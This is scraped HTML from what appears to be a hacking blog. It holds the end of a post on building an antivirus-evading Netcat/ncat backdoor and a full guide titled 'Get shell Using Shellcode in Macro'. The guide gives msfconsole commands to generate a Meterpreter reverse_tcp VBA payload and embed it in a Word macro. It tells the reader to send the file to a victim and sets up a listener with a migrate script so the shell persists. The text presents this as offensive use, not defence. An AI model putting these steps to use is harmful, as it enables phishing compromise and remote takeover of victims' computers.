src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGTQHUil5sfpY-7ltUe_5uQVYFPYVSH-gKthaH6-heTdVgD7db22ZghkbLKMfbAGzMFebM3QCtosQWSweG7TgvW-QnkCRTnybdTwnKSXaaaRCjhc_UNAmRD_ijapRz-y82l9_tbeqcFHP6/s400/ncat-ssl.PNG" title="ncat-backdoor" width="400" /></a></div><br />And it does not detected by AV.<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7ziLFR3mJLtwQiEQN_EmeuXtj43-uW7gtrpiccG40Oa2NYdHQsocQJW-y3g3McDwfS2v9ZmPHOu-0OHUqpsgvkph6v4hA32vfsX7DLUHgjX0e1x8VzteqtlSRufDpOUzXu3S692gLZ-48/s1600/ncat-virustotal.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="cryptcat virustotal" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7ziLFR3mJLtwQiEQN_EmeuXtj43-uW7gtrpiccG40Oa2NYdHQsocQJW-y3g3McDwfS2v9ZmPHOu-0OHUqpsgvkph6v4hA32vfsX7DLUHgjX0e1x8VzteqtlSRufDpOUzXu3S692gLZ-48/s1600/ncat-virustotal.PNG" title="ncat-virustotal" /></a></div><br /><div style="text-align: center;"><a href="https://www.virustotal.com/en/file/5e107ea10383110bd801fb7de11f59ee35f02b8e1defcadf34c0e3e769df9341/analysis/" target="_blank">Virustotal Link</a></div><div style="text-align: center;"><br /></div>So with help of ncat , we can get around of our problems which are no-authentication, no-encryption, caught by AV.</div>

Backdoor using Netcat, cryptcat , ncat.

Today we are gonna talk about Netcat & its alternative ; i assume that all of you are familiar with Netcat. If not than read here .  Als...

+ Read more »

Get shell Using Shellcode in Macro.

<div dir="ltr" style="text-align: left;" trbidi="on">We can execute shellcode directly in macro. It`s very old method, but still it`s useful ; because AV don`t trigger it.First we will generate VB code of our payload.<br /><br />msfconsole<br />use payload/windows/meterpreter/reverse_tcp<br />set LHOST 192.168.56.102<br />set LPORT 443<br />generate -t vba<br />exploit <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJW5MN2rg7i3UfNZB9usIE4RrgVAArAkmWXj2af2oRp-xN3GDJpcWjB8DVVvVs85t5CDFegS-in8hcyoTu352THV-cb5R7Xp9FD3plql6Qzoyws4YrEX8k89Ux1zR9Pj2ecOQlEeMOjZJB/s1600/Screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJW5MN2rg7i3UfNZB9usIE4RrgVAArAkmWXj2af2oRp-xN3GDJpcWjB8DVVvVs85t5CDFegS-in8hcyoTu352THV-cb5R7Xp9FD3plql6Qzoyws4YrEX8k89Ux1zR9Pj2ecOQlEeMOjZJB/s1600/Screenshot.png" /></a></div><a name='more'></a><br />Now we have generated our shellcode. Now we will create macro.<br /><br />(1)Open any word or Excell document<br /><br />(2)Click on view & then click on Macros.<br /><br />(3)Give name to macro & create macro.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb_1TAGSBupOdgd47LfIRE8GsjL6FxeSN3Mo8GHu0dFCJppqUkZPDPPgvcEvaTndvu-x8s-cb68rSNM4miDktnQIQLIoMCh-bL_bqmjM2JivEoiKb1__qdKrye01uwl8iGGbQa3O_2B5c6/s1600/macro-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb_1TAGSBupOdgd47LfIRE8GsjL6FxeSN3Mo8GHu0dFCJppqUkZPDPPgvcEvaTndvu-x8s-cb68rSNM4miDktnQIQLIoMCh-bL_bqmjM2JivEoiKb1__qdKrye01uwl8iGGbQa3O_2B5c6/s320/macro-1.png" width="320" /></a></div><br />(4)Remove all things from modules windows & Paste our generated VB code.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu19FJsfgJYo2NBGkMxkTC_rJyzlXho981BnDokhKLmDsI4iQHVZ9ZvLyoE1x0PU5955dK38yYOIJMllzTRTNVR1BR9MT9o0pYA-408UNv8awmwOtwhEprGFQZVh8keh2V0cXE3LfhQN5E/s1600/macro-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="161" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu19FJsfgJYo2NBGkMxkTC_rJyzlXho981BnDokhKLmDsI4iQHVZ9ZvLyoE1x0PU5955dK38yYOIJMllzTRTNVR1BR9MT9o0pYA-408UNv8awmwOtwhEprGFQZVh8keh2V0cXE3LfhQN5E/s320/macro-2.png" width="320" /></a></div><br /><br />(5)Saved it as type Word Macro-Enabled Document.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Tn3nq8TKypHB-TDg7fvJNGR07IOpCtr3MJmoO_65gvNzKj4iUdjvCCIT_6oea9AN6tnpOp0en4mVWxepn8HtAdpnap2r1g8VUJEFANWSoLGmRWIyVWw0MPUKITeMIawMD8A4UPsJrgeD/s1600/main-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Tn3nq8TKypHB-TDg7fvJNGR07IOpCtr3MJmoO_65gvNzKj4iUdjvCCIT_6oea9AN6tnpOp0en4mVWxepn8HtAdpnap2r1g8VUJEFANWSoLGmRWIyVWw0MPUKITeMIawMD8A4UPsJrgeD/s320/main-3.png" width="320" /></a></div><br />Send this file to victim. By default in MS Office<b>  </b><span class="runinhead">" Disable all macros with notification</span> " option is enabled , so whenever any document try to execute Macro it will pop up security warning that macro is disable ; so to execute our shellcode using macro victim should click on Enable content.<br /><br />You have to setup listener to listen reverse connection. If your IP is not available when victim open Document then document will be crash.So now we will setup listener <br /><br />use exploit/multi/handler <br />set lhost 192.168.56.102<br />set lport 443<br />set payload windows/meterpreter/reverse_tcp<br />set autorunscript migrate -n explorer.exe<br />exploit<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpJKbGUpQEt2e48dgZhwAfay3ZL9x0t5dLWLZgAblM9TV9t_X_G98c4SK_dmZDL3JAIlQ2IqILpsVPpBtj4e9guxHq08oHAM4aOOFTPkHNVJKKnu2gpoc_x7zrC50GhNFyai-EzkRuu0n-/s1600/Screenshot-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpJKbGUpQEt2e48dgZhwAfay3ZL9x0t5dLWLZgAblM9TV9t_X_G98c4SK_dmZDL3JAIlQ2IqILpsVPpBtj4e9guxHq08oHAM4aOOFTPkHNVJKKnu2gpoc_x7zrC50GhNFyai-EzkRuu0n-/s400/Screenshot-2.png" width="400" /></a></div>Here we setup migrate script as autorunscript so when document will closed our shell will not die.</div>

Get shell Using Shellcode in Macro.

We can execute shellcode directly in macro. It`s very old method, but still it`s useful ; because AV don`t trigger it.First we will generate...

+ Read more »